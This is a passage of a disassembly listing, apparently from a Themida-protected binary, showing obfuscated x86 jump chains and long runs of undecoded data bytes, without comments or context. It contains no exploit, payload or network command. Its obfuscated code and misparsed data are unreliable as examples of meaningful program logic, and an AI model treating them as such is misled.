		dd 9DC18103h, 21A9ED88h, 7F6859CDh, 0E9000034h,	61C2h
; ---------------------------------------------------------------------------


loc_5628C4:				; CODE XREF: Themida_:005754C8j
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 69477DEEh
		add	ebp, eax
		jmp	loc_5746FC
; ---------------------------------------------------------------------------
		db 1
aZSS		db 'ÐZ[é*‘',0
		align 4
		dd 0E7361DBEh, 52D6F739h, 5AA36855h, 555D36E8h,	0FFDDA8E9h
		dd 67E280FFh, 76FFE951h, 0EE810000h, 6FC218D9h,	0C681CE01h
		dd 6FC218D9h, 81D62959h, 445FDEEh, 2434FF45h, 2641685Ah
		dd 34890000h, 52E68924h, 6916E9h, 5DEE2900h, 30F6EE81h
		dd 81462E72h, 71C4C3EEh, 5EF7018Bh, 0EF81D729h,	5C4A144Ah
		dd 0E924148Bh, 0FFFFF78Dh, 4AA0BD55h, 0EF89453Ah, 67F5E95Dh
		dd 31660000h, 0E2EAE9CAh, 0F528FFFFh, 5A2434FFh, 4C481h
		dd 0E5040000h, 0E52CE828h, 0D8285966h, 2619E953h, 89510001h
		dd 2B9868E1h, 34890000h, 409FBE24h, 0D6F71D2Bh,	0F5CBA52h
		dd 0EE811D49h, 113F4CBCh, 9652E9h
		db 0
byte_5629A9	db 66h,	0F7h, 1Ch	; DATA XREF: Themida_:0055FDC0o
		dd 0ECE99C24h
		db 0D5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5629B3:				; CODE XREF: Themida_:00560598j
		pop	edi
		add	ebx, 56477267h
		add	ebx, 4C02379Dh
		add	ebx, ecx
		jmp	loc_562433
; ---------------------------------------------------------------------------


loc_5629C7:				; CODE XREF: Themida_:005737F6j
		add	eax, ebp
		pop	ebp
		add	ecx, eax
		pop	eax
		add	ecx, edx
		push	esi
		mov	esi, 273E5483h
		push	edi
		jmp	loc_570103
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0D913E9h, 8BCB0100h,	6AE9240Ch, 5DFFFFDCh, 0C605D001h
		dd 8B1E7D67h, 0C4812414h, 4, 4EC81h, 0C890000h,	1682B924h
		dd 42E96E20h, 5C000017h, 0EB581605h, 0F36FE908h, 0D6BEFFFFh
		dd 5022622h, 576B0625h,	0BF57F029h, 576B0625h, 0E95FF829h
		dd 33E0h, 81E18951h, 4C1h, 4BE5600h, 29000000h,	2817E9F1h
		db 1, 0
; ---------------------------------------------------------------------------


loc_562A4A:				; CODE XREF: Themida_:0057320Cj
		add	bl, 0E2h
		pop	ecx
		sub	bl, 1
		push	0
		jmp	loc_574E8E
; ---------------------------------------------------------------------------
		db 5Ah
		dd 8159CE21h, 0BB73AFC6h, 0E8E6822h, 2C890000h,	52E8BD24h
		dd 814D36A6h, 7106DFF5h, 0E9E5D141h, 0E7CAh, 8BF0305Ch
		dd 0C4832414h, 0E9C33004h, 0FFFFE14Ch, 0C55633B8h, 395EE960h
		dd 1C890000h, 4BB24h, 5E90000h,	81000042h, 4C4h, 5FF83100h
		dd 5BEBBA52h, 0B568055Ch, 89000025h, 88BD242Ch,	314BE737h
		dd 53575DEAh, 0DD4458BBh, 0BE2ABF37h, 0DF29AA96h, 0FFFB295Bh
		dd 0E95F2434h, 18B3h, 31241C33h, 1C33241Ch, 14895C24h
		dd 0E478E924h, 0EC81FFFFh, 4, 68240489h, 3568h,	52242489h
		dd 4BAh, 24540100h, 53585A04h, 0D90317BBh, 3E3C11Ah, 1724EB81h
		dd 514B0514h, 0E84516B9h, 0E9C98158h, 8133BE70h, 74690AE1h
		dd 85A4E974h, 0AB680000h, 89000008h, 6E68242Ch,	5D454A73h
		dd 0AA40E9h
		db 0
; ---------------------------------------------------------------------------


loc_562B49:				; CODE XREF: Themida_:0056EAECj
		not	ecx
		jmp	loc_573607
; ---------------------------------------------------------------------------
		dd 5C241487h, 0BF243C89h, 4, 7C24C32Dh,	5F80168h, 687C24C3h
		dd 6B4AE9h, 2434FF00h, 4C4835Dh, 138C68h, 457AE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_562B7E:				; CODE XREF: Themida_:0056FD6Aj
		add	ebp, ebx
		sub	ebp, 446D2D6Fh
		pop	ebx
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_56777D
; ---------------------------------------------------------------------------
aIUs_		db '‰<$Ué.×',0
		align 10h
dword_562BA0	dd 0FF2434FFh, 83592434h, 0E95004C4h, 0CF2Bh, 3D93685Eh
					; DATA XREF: Themida_:0055FD04o
		dd 1C890000h, 22B0BB24h, 0BE564755h, 589D4AB8h,	4C9CE81h
		dd 0CE815F2Dh, 1FB070Eh, 0DEF7D6F7h, 0AF9EF681h, 0BF579841h
		dd 14F602C8h, 15FFB29h,	0C8C381F3h, 0E914F602h,	3474h
		dd 4646858h, 0C890000h,	3100E924h, 0F1810000h, 1D2EF71Ch
		dd 8759CA29h, 895C2414h, 0E952241Ch, 549Fh, 4C481h, 4BE90000h
		dd 810000FCh, 7E6649E3h, 81DBF745h, 0D7D9FCEBh,	0FFDF01FBh
		dd 575B2434h, 0C781E789h, 4, 0B302E9h, 1C5B6800h, 34890000h
		dd 0FFFFBE24h, 0F301FFFFh, 8124348Bh, 4C4h, 1EB8300h, 1C10F381h
		dd 4B684973h, 89000010h, 478F241Ch, 5380E920h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_562C72:				; CODE XREF: Themida_:0056AC46j
		push	edx
		jmp	loc_57501F
; ---------------------------------------------------------------------------
		dd 4B9h, 59CD2900h, 8B242C87h, 0C892424h, 0C4E95424h, 590000D2h
		dd 0E904B151h, 66F6h, 0B9240C89h, 4, 0B7DAE9h, 2414F700h
		dd 1958E958h, 0E3C10001h, 72BA5208h, 0C1672D35h, 0EA8105EAh
		dd 8F9D087Ah, 2480C381h, 0D301143Fh, 2480EB81h,	815A143Fh
		dd 261709F3h, 98EB8168h, 29EE7CB6h, 0EA815BDAh,	2556007Eh
		dd 0FFD2B6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562CE9:				; CODE XREF: Themida_:005747EEj
		sub	edi, edx
		jmp	loc_56A05A
; ---------------------------------------------------------------------------


loc_562CF0:				; CODE XREF: Themida_:00571D9Cj
		add	esp, 4
		jmp	loc_56FF79
; ---------------------------------------------------------------------------


loc_562CFB:				; CODE XREF: Themida_:0057061Cj
		pop	eax
		sub	esp, 4
		mov	[esp], ecx
		push	edx
		mov	edx, 1ABF2D63h
		shl	edx, 4
		sub	edx, 63C25D8Ah
		or	edx, 774A7310h
		not	edx
		sub	edx, 41E23538h
		push	esi
		mov	esi, edx
		mov	ecx, esi
		jmp	loc_56A688
; ---------------------------------------------------------------------------


loc_562D29:				; CODE XREF: Themida_:00567052j
		add	ebp, edx
		jmp	loc_574C03
; ---------------------------------------------------------------------------


loc_562D30:				; CODE XREF: Themida_:0056861Dj
		and	edi, esi
		jmp	loc_571D99
; ---------------------------------------------------------------------------


loc_562D37:				; CODE XREF: Themida_:00560BC2j
		add	esp, 4
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		jmp	loc_57195F
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 7Eh
		dd 0E90F2D30h, 9F2Dh, 15F6814Eh, 5249A379h, 0C281E289h
		dd 4, 4EA81h, 14870000h, 0F3A2E924h, 0C6810000h, 2, 81E18951h
		dd 4C1h, 4E98300h, 5C240C87h, 0FF243489h, 0FF042474h, 685E2434h
		dd 2270h, 7EAEE9h, 66A76800h, 24890000h, 24048324h, 47E95904h
		dd 5B00009Bh, 1C8BDE01h, 9DCE924h, 35BD0001h, 0E9547E53h
		dd 6124h, 0E789575Ch, 4C781h, 0B7E90000h
		db 1Ah,	1, 0
; ---------------------------------------------------------------------------


loc_562DDF:				; CODE XREF: Themida_:005717B2j
		pop	esi
		add	esi, 4
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_56EA12
; ---------------------------------------------------------------------------


loc_562DFA:				; CODE XREF: Themida_:00574834j
		mov	[esp], eax
		mov	eax, 296E54EDh
		add	dword ptr [esp+4], 3DF946B7h
		jmp	loc_573876
; ---------------------------------------------------------------------------
aSI		db '(×é׈',0
		align 2
		dw 0E2C1h
		dd 0C1DAF705h, 0C28106E2h, 4371309Fh, 15AD301h,	241C8BD8h
		dd 4C481h, 0C5290000h, 0E9E80158h, 1BD7h
; ---------------------------------------------------------------------------


loc_562E3C:				; CODE XREF: Themida_:005708F6j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_56B1D5
; ---------------------------------------------------------------------------
		db 81h,	0CBh, 78h
		dd 0E96BDA1Dh, 8F2Eh, 4C48158h,	57000000h, 0C781E789h
		dd 4, 4C781h, 3C870000h, 0EC835C24h, 0EF8FE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_562E7E:				; CODE XREF: Themida_:00572B41j
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		push	ebx
		jmp	loc_5668D8
; ---------------------------------------------------------------------------


loc_562E8D:				; CODE XREF: Themida_:00569D03j
		mov	[esp], esi
		push	edi
		mov	edi, esp
		jmp	loc_568292
; ---------------------------------------------------------------------------
		dd 5C24C605h, 1323E924h
		db 2 dup(0)
word_562EA2	dw 6664h		; DATA XREF: Themida_:0055FE1Co
		dd 6866028Bh, 89660120h, 0ECE92404h
		db 0D0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562EB3:				; CODE XREF: Themida_:005651EDj
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5714BE
; ---------------------------------------------------------------------------
		dw 8F54h
		dd 0BB532404h, 4, 4246C81h, 6173036Bh, 4245C01h, 0DDECE9h
		db 0
byte_562ED9	db 0FFh, 34h, 24h	; DATA XREF: Themida_:0055FE40o
		dd 0E9240C8Bh, 0FFFFD78Ch, 0FFD0B6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562EE9:				; CODE XREF: Themida_:0056E1A0j
		xor	ebx, [esp]
		mov	esp, [esp]


loc_562EEF:				; CODE XREF: Themida_:00565454j
					; Themida_:00574098j
		push	dword ptr [edi+24h]
		sub	dword ptr [esp], 0EBC1A24h
		jmp	loc_565838
; ---------------------------------------------------------------------------
		dw 1489h
		dd 2474FF24h, 48F5A04h,	24248B24h, 0FFD08EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562F11:				; CODE XREF: Themida_:005621DAj
		sub	ecx, eax
		jmp	loc_562F72
; ---------------------------------------------------------------------------
		dd 2BB5356h, 50000000h,	0C1E9D889h, 890000D8h, 4812424h
		dd 424h, 97685A00h, 89000042h, 0EC81243Ch, 4, 0BA241489h
		dd 4B3323BDh, 3323B9BFh, 0E27DE94Bh, 29590000h,	15505E8h
		dd 2BE97F0Ch, 880000CCh, 48B5BDEh, 487DE924h, 885A0000h
		dd 4334E9E2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_562F72:				; CODE XREF: Themida_:00562F13j
		pop	eax
		jmp	loc_564E97
; ---------------------------------------------------------------------------
		dd 0EB819348h, 0E83E201Ah, 0E95BD801h, 9505h
; ---------------------------------------------------------------------------


loc_562F88:				; CODE XREF: Themida_:00570EE3j
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 27457A11h
		sub	esi, 6B9519CBh
		sub	esi, 6CD5132Dh
		jmp	loc_57277D
; ---------------------------------------------------------------------------


loc_562FB3:				; CODE XREF: Themida_:00567D1Fj
		mov	ebp, [esp]
		jmp	loc_5692C6
; ---------------------------------------------------------------------------


loc_562FBB:				; CODE XREF: Themida_:00567399j
		sub	dl, 7Ch
		mov	bh, dl
		pop	edx
		jmp	loc_565DDB
; ---------------------------------------------------------------------------
		dw 0E801h
		dd 0EFB5E9h, 4C28100h, 0E9000000h, 284Bh, 2B95159h, 1000000h
		dd 240C8BCFh, 3BE4E9h, 31D63100h, 0E9D631F2h, 0A15Ah, 5069EE80h
		dd 0F480C1B4h, 4CE480DBh, 0C480D4F6h, 80DCF6B8h, 0E628F4ECh
		dd 0D758E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563012:				; CODE XREF: Themida_:00568EB6j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		shr	eax, 18h
		xor	eax, ecx
		push	6178h
		mov	[esp], eax
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_56AB28
; ---------------------------------------------------------------------------


loc_563030:				; CODE XREF: Themida_:005659CDj
		add	esp, 4
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5605BC
; ---------------------------------------------------------------------------
		dw 0E381h
		dd 62F502B1h, 3374C381h, 0F5E9F099h, 810000F8h,	4C7h, 243C3300h
		dd 0E9243C31h, 6FECh, 0A2B6E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_563066:				; CODE XREF: Themida_:00561338j
		mov	[esp], ecx
		jmp	loc_572915
; ---------------------------------------------------------------------------
word_56306E	dw 8B66h		; DATA XREF: Themida_:0055FECCo
		dd 0D7E92404h, 58000113h, 0DDB55166h, 5966EB30h, 144B68h
		dd 241C8900h, 0F65364B7h, 0E9012454h, 0FFFFD43Dh, 0E924348Bh
		dd 0A4F8h
; ---------------------------------------------------------------------------


loc_56309C:				; CODE XREF: Themida_:0056D3F6j
		and	cl, 60h
		shl	cl, 3
		or	cl, 59h
		jmp	loc_56AFA0
; ---------------------------------------------------------------------------
		dw 48Fh
aLS_0		db '$‹$$éÉ`',0
		db 0
; ---------------------------------------------------------------------------


loc_5630B5:				; CODE XREF: Themida_:0056DF9Fj
		pop	edx
		push	eax
		mov	eax, esp
		push	esi
		mov	esi, 3AAD5897h
		not	esi
		xor	esi, 0C552A76Ch
		add	eax, esi
		jmp	loc_567C36
; ---------------------------------------------------------------------------
a9vNsz		db '¹9vÖnéZ)',0
		align 4
		dd 0F759CE01h, 6E6C1D6h, 37DBEE81h, 0F3015B0Ch,	7CAEE9h
		dd 4B800h, 0C2290000h, 154CE958h, 34890000h, 598FE924h
		dd 0EA890000h, 0E9242C8Bh, 8558h, 96DE95Ch, 0F7810000h
		dd 52225E2Ch, 6837C781h, 0C78310DBh, 85F78101h,	0E93458A4h
		dd 0A759h, 5EF3295Bh, 0C381FB01h, 66DC7A2Dh, 52243C8Bh
		dd 1198EE9h, 243C8900h,	971807BFh, 0D7F74F25h, 0CBFCE94Fh
		db 2 dup(0)
word_563152	dw 6664h		; DATA XREF: Themida_:0055FD14o
		dd 6602B60Fh, 0E9549068h, 0FFFFE08Dh
; ---------------------------------------------------------------------------


loc_563160:				; CODE XREF: Themida_:0056B1EEj
		sub	eax, 6E6F5AE3h
		jmp	loc_563850
; ---------------------------------------------------------------------------
		dw 0C90Dh
		dd 0C16E3F2Bh, 0B95104E0h, 3C080FEEh, 3559C801h, 0B5B0A04h
		dd 3505E0C1h, 5A4348DDh, 0FFD4C1E9h, 1932BAFFh,	34E9C147h
		dd 5B00009Dh, 83242C8Bh, 0F6E904C4h, 8100011Ch,	4ECh, 8C88E900h
		dd 0EB810000h, 0FFFFFFFFh, 6A52BE56h, 18E9639Fh, 31FFFFD2h
		dd 24148BD1h, 4C481h, 0C8010000h, 0C92D5F59h, 2923700Ch
		dd 0C9BE56D8h, 0E923700Ch, 0E6Ah, 0C6815E54h, 4, 4C681h
		dd 34870000h, 0E9575C24h, 0AE51h, 4EC8142h, 89000000h
		dd 0ADE9240Ch
		db 44h,	2 dup(0)
byte_563207	db 66h			; DATA XREF: Themida_:0055FD34o
		dd 83240C8Bh, 48904ECh,	719FE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_563216:				; CODE XREF: Themida_:005658BBj
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_56F573
; ---------------------------------------------------------------------------
aYs		db 'YéÏ=',0
		db 0
; ---------------------------------------------------------------------------


loc_563231:				; CODE XREF: Themida_:00567299j
		shl	edx, 1
		jmp	loc_570F64
; ---------------------------------------------------------------------------


loc_563238:				; CODE XREF: Themida_:00567593j
		push	ecx
		mov	ecx, 3C183D94h
		mov	ebx, ecx
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 7B151197h
		and	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		neg	ebx
		push	esi
		push	ebp
		mov	ebp, 6D150E84h
		jmp	loc_570D4D
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 0E9542404h, 0C3A5h, 89240489h, 405E0h, 7AE90000h
		dd 0BA0000A9h, 13DB42A7h, 934CE9h, 0BFBA5200h, 29B9F42Dh
		dd 24148BD0h, 0FFF249E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5632B5:				; CODE XREF: Themida_:00571B8Aj
		add	ebx, ebp
		push	edx
		mov	edx, 66136C5Ah
		or	edx, 756659DCh
		jmp	loc_56E330
; ---------------------------------------------------------------------------
		dd 7AEE8158h, 0E973B928h, 0C917h, 0C780F728h, 0E95A667Ah
		dd 0FAEh, 1A112968h, 243C8B66h,	8104C483h, 1A1129F7h, 0FA895266h
		dd 5F5AD389h, 636AC381h, 0D3011612h, 636AEB81h,	0BA521612h
		dd 0
		dd 73BEA81h, 0F8E93962h, 0E90000EBh, 0FFFFCC83h
; ---------------------------------------------------------------------------


loc_56331C:				; CODE XREF: Themida_:0056DCA8j
		push	ebx
		mov	ebx, 0E73DD1B1h
		add	edx, ebx
		pop	ebx
		mov	ecx, edx
		pop	edx
		jmp	loc_56C1F0
; ---------------------------------------------------------------------------
		db 50h,	54h, 58h
		dd 4BD55h, 0B6050000h, 0E935CF10h, 7A7Eh
; ---------------------------------------------------------------------------


loc_563340:				; CODE XREF: Themida_:0056E99Bj
		mov	eax, 4229771Eh
		xor	eax, 48CE4DE5h
		add	eax, 0F518C509h
		mov	ebp, eax
		jmp	loc_561033
; ---------------------------------------------------------------------------
		dw 2A2Dh
		dd 353A0F17h, 24F35749h, 2D2DD8F7h, 2D1B5243h, 7408B1A2h
		dd 8158C501h, 0BB7631C5h, 81CD017Ch, 0BB7631EDh, 7FED817Ch
		dd 0E975F564h, 7E7Eh
; ---------------------------------------------------------------------------


loc_563388:				; CODE XREF: Themida_:0056F7F9j
		push	ebp
		mov	ebp, esi
		mov	edi, ebp
		pop	ebp
		pop	esi
		mov	eax, 52413E11h
		sub	eax, edi
		pop	edi
		push	edi
		mov	edi, 1EA11871h
		jmp	loc_570B3C
; ---------------------------------------------------------------------------


loc_5633A2:				; CODE XREF: Themida_:00568A81j
		push	esp
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_573FAB
; ---------------------------------------------------------------------------


loc_5633AC:				; CODE XREF: Themida_:0057203Fj
		neg	ecx
		not	ecx
		xor	ecx, 0EF48A1DFh
		mov	edx, ecx
		pop	ecx
		xor	edx, 70083A41h
		and	edx, 53143D3Ch
		xor	edx, 2141D08h
		add	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		shl	eax, cl
		push	6A7Eh
		mov	[esp], esi
		jmp	loc_57181A
; ---------------------------------------------------------------------------


loc_5633F7:				; CODE XREF: Themida_:00571DB6j
		add	edi, 5B97AE9h
		jmp	loc_56F9D1
; ---------------------------------------------------------------------------
		dw 6668h
		dd 89000066h, 0E2892414h, 3015BD55h, 0AFE95373h, 0BB00009Fh
		dd 655B651Ah, 2D5BD829h, 3C2B7938h, 0E869E955h,	0E5890000h
		dd 4C581h, 0ED830000h, 242C8702h, 6FD8E95Ch, 48F0000h
		dd 24248B24h, 3E55E9h, 0D5C38100h, 0E92E3322h, 0FFFFE209h
; ---------------------------------------------------------------------------


loc_563454:				; CODE XREF: Themida_:00569BA1j
		add	edx, ebx
		add	edx, 59596094h
		pop	ebx
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_574EFE
; ---------------------------------------------------------------------------
		db 89h
		dd 48153D3h, 2F4CEB24h,	240C8B77h, 4C481h, 0E9810000h
		dd 772F4CEBh, 83241C8Bh, 0F75A04C4h, 16E981D9h,	0E906F031h
		dd 64D7h
; ---------------------------------------------------------------------------


loc_563498:				; CODE XREF: Themida_:0056537Ej
		or	eax, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5752F2
; ---------------------------------------------------------------------------
aBsss		db 'BSéSÇ',0
		dw 8100h
		dd 4ECh, 242C8900h, 0DDE9E589h,	10000D8h, 575E5BDAh, 2BFh
		dd 0ABEA8100h, 8106781Bh, 0F43FE8EAh, 81FA0175h, 0F43FE8C2h
		dd 0ABC28175h, 5F06781Bh, 7831E9h, 6873B200h, 59Dh, 50241C89h
		dd 0C2DBE9h, 58C60900h,	565AF681h, 0DEF74107h, 8107E6C1h
		dd 0D00174F6h, 5EF02923h, 81242C8Bh, 4C4h, 8743E900h, 0BD550000h
		dd 6052475Fh, 352DF581h, 0EB8907CBh, 8DD8E95Dh,	89500000h
		dd 0CF3AE9E0h, 3C890000h, 52E78924h, 0D316850h,	0AFE900E4h
		dd 89000005h, 5B54241Ch, 0FFE3E0E9h, 81D2F7FFh,	83500ECAh
		dd 8BE5664h, 81766008h,	461FCFC6h, 62D7E954h, 57550000h
		dd 3F6FBA68h, 37E95F57h, 89000050h, 2EE92414h, 1000055h
		dd 242C8BEBh, 4C481h, 5DE90000h, 59000039h, 152DBD55h
		dd 0B9517BA7h, 364F5AEEh, 0F307E941h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5635A6:				; CODE XREF: Themida_:00565223j
		push	small word ptr [eax]
		jmp	loc_570AA4
; ---------------------------------------------------------------------------
		dw 5F54h
		dd 4C781h, 0C7830000h, 0F639E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5635BE:				; CODE XREF: Themida_:0056B572j
		pop	ebp
		push	esi
		mov	esi, 58C7196Dh
		or	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		push	eax
		mov	eax, 21E76B1Eh
		neg	eax
		sub	eax, 46305BDEh
		not	eax
		sub	eax, 0ED208710h
		sub	ebp, eax
		pop	eax
		sub	edx, 29762EA0h
		add	edx, ebp
		jmp	loc_566431
; ---------------------------------------------------------------------------
		db 59h,	53h, 0BBh
		dd 4, 27FC181h,	0D9016D94h, 27FE981h, 835B6D94h, 0C8704C1h
		dd 0D16DE924h, 54520000h, 413EE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56361A:				; CODE XREF: Themida_:00573B44j
		mov	[esp], edx
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_56906B
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0E9F72424h, 445568h,	24148900h, 60E99C50h
		db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56363F:				; CODE XREF: Themida_:0056EE12j
		mov	ebp, 7D9F2493h
		or	ebp, 9AD2F7Ch
		and	ebp, 623439FDh
		jmp	loc_56011F
; ---------------------------------------------------------------------------
		db 0F6h, 0D5h, 88h
		dd 865966E8h, 128A68C1h, 5BE90000h, 54000078h, 4C6815Eh
		dd 83000000h, 5D6804C6h, 8900002Eh, 74FF2434h, 0D7E90424h
		dd 5900003Dh, 2DA2C281h, 0F742576Bh, 88F281DAh,	81654C34h
		dd 806F39F2h, 0E9D701C2h, 4EFEh, 8904C483h, 0EB315AD5h
		dd 10A4DE9h
		db 0
; ---------------------------------------------------------------------------


loc_5636AD:				; CODE XREF: Themida_:0056E592j
		pop	ebx
		jmp	loc_5621C6
; ---------------------------------------------------------------------------


loc_5636B3:				; CODE XREF: Themida_:00567E86j
		add	esp, 4
		add	esp, 4
		and	eax, ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_56AFB5
; ---------------------------------------------------------------------------
		dd 727DCB81h, 0EB811B9Ch, 672B6B14h, 7782EB81h,	814333D0h
		dd 0D95AC2EBh, 0E9D93182h, 9C01h, 81E18951h, 4C1h, 4BD5500h
		dd 81000000h, 7B6DDEE9h, 81E9292Eh, 7B6DDEC1h, 0FF515D2Eh
		dd 0E9042474h, 77CAh
; ---------------------------------------------------------------------------


loc_563714:				; CODE XREF: Themida_:0056546Dj
		mov	dx, [esp]
		jmp	loc_56ED53
; ---------------------------------------------------------------------------
aI4Hw		db '‰4$hW',0Bh,0
		dd 24048900h, 6E4EBF57h, 48E910C2h
		db 58h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_563733:				; CODE XREF: Themida_:0056A849j
		mov	ecx, [esp]
		add	esp, 4
		add	al, bh
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_5655A0
; ---------------------------------------------------------------------------
		dd 0CAFCF181h, 0CE317112h, 0B381E959h, 0C1810000h, 4, 8704C183h
		dd 67E9240Ch, 810000F5h, 48503CF7h, 5FF93157h, 8959CD31h
		dd 44815DEBh, 480424h, 5C2971E3h, 6C810424h, 480424h, 8DE971E3h
		dd 290000A0h, 1740E9CDh, 1C330001h, 24248B24h, 0D904B604h
		dd 67B1E9h, 4EC8300h, 81242489h, 42404h, 34FF0000h, 2434FF24h
		dd 4C4815Ah, 0E9000000h, 0FFFFEF71h, 0FE89C789h, 0F9E9585Fh
		dd 10000B4h, 2E95BDEh, 57000063h, 2B51E2BFh, 5F64E935h
		dd 0EA310000h, 0FFE2D2E9h, 3198B9FFh, 4C29767Eh, 0FF590424h
		dd 0C8B2434h, 4C48324h,	81E38953h, 4C3h, 4C38300h, 0E9241C87h
		dd 11244h, 0C281C201h, 6B1D33D1h, 1E50E9h
		db 0
; ---------------------------------------------------------------------------


loc_563819:				; CODE XREF: Themida_:00569D5Aj
		push	ebp
		mov	ebp, 1C046405h
		jmp	loc_560DE7
; ---------------------------------------------------------------------------


loc_563824:				; CODE XREF: Themida_:0056C86Dj
		add	esp, 4
		jmp	loc_56EB42
; ---------------------------------------------------------------------------
aQpCS		db 'QP´—µ$é°Ù',0
		db 0
; ---------------------------------------------------------------------------


loc_563837:				; CODE XREF: Themida_:00563CEFj
		pop	eax
		and	eax, ebp
		mov	ebp, [esp]
		jmp	loc_56B11B
; ---------------------------------------------------------------------------
aYso		db 'YéoÙ',0
		align 4
		dd 0E9240C87h, 5923h
; ---------------------------------------------------------------------------


loc_563850:				; CODE XREF: Themida_:00563165j
		xor	eax, 523E22E8h
		dec	eax
		shr	eax, 5
		add	eax, 0FC1850ACh
		add	esi, eax
		pop	eax
		jmp	loc_56FB34
; ---------------------------------------------------------------------------
		dw 6866h
		dd 89667181h, 0E7B42404h, 2864E9h
		db 0
; ---------------------------------------------------------------------------


loc_563875:				; CODE XREF: Themida_:005608DEj
		mov	edx, 4
		mov	edi, edx
		jmp	loc_569DC3
; ---------------------------------------------------------------------------
		db 58h,	56h, 0E9h
		dd 0FFFFF2AEh
; ---------------------------------------------------------------------------


loc_563888:				; CODE XREF: Themida_:0056714Dj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_573735
; ---------------------------------------------------------------------------
		db 50h
		dd 751C74B8h, 77054850h, 0F7715F4Eh, 6C4BE9D8h,	0F660000h
		dd 6866CCB6h, 896630F1h, 0F66240Ch, 22E9C8B6h, 5200002Ah
		dd 5919B850h, 1F2D62D6h, 0D5FE445h, 0BA61946h, 4F2DD0F7h
		dd 89F1B56Eh, 0D70158C2h, 0E924148Bh, 6598h
; ---------------------------------------------------------------------------


loc_5638E4:				; CODE XREF: Themida_:00574E94j
		sub	esp, 4
		jmp	loc_56CE4E
; ---------------------------------------------------------------------------


loc_5638EC:				; CODE XREF: Themida_:0056BFC2j
		mov	esp, [esp]
		jmp	loc_56A35D
; ---------------------------------------------------------------------------
		dd 1209E981h, 0E981204Eh, 22082967h, 0C181E901h, 22082967h
		dd 2C6DE9h, 0C4835800h,	0B2E95604h, 0BF000017h,	0A1C648Bh
		dd 430CB951h, 0CF010421h, 5BD9E959h, 0DC880000h, 1024CE9h
		dd 2434FF00h, 5124148Bh, 0BB53E189h, 4,	7FF1E9h, 61E94700h
		db 7, 1, 0
; ---------------------------------------------------------------------------


loc_56394B:				; CODE XREF: Themida_:0056F9BFj
		pop	edi
		add	esi, 4
		xor	esi, [esp]
		jmp	loc_56AA15
; ---------------------------------------------------------------------------


loc_56395A:				; CODE XREF: Themida_:005710BEj
		mov	edx, [esp]
		add	esp, 4
		push	esi
		xor	dword ptr [esp], 20D24751h
		mov	ecx, [esp]
		jmp	loc_571C80
; ---------------------------------------------------------------------------
		db 81h
		dd 132928F5h, 7E5C144h,	736EC581h, 81E91A9Bh, 520000DAh
		dd 51E93DB2h, 68FFFFDEh, 6BE34431h, 5552515Eh, 511F39BDh
		dd 0E4BFE97Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5639A2:				; CODE XREF: Themida_:0056F597j
		push	esi
		mov	esi, ecx
		mov	edx, esi
		pop	esi
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		jmp	loc_566873
; ---------------------------------------------------------------------------


loc_5639CA:				; CODE XREF: Themida_:00573504j
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], esi
		push	63946F14h
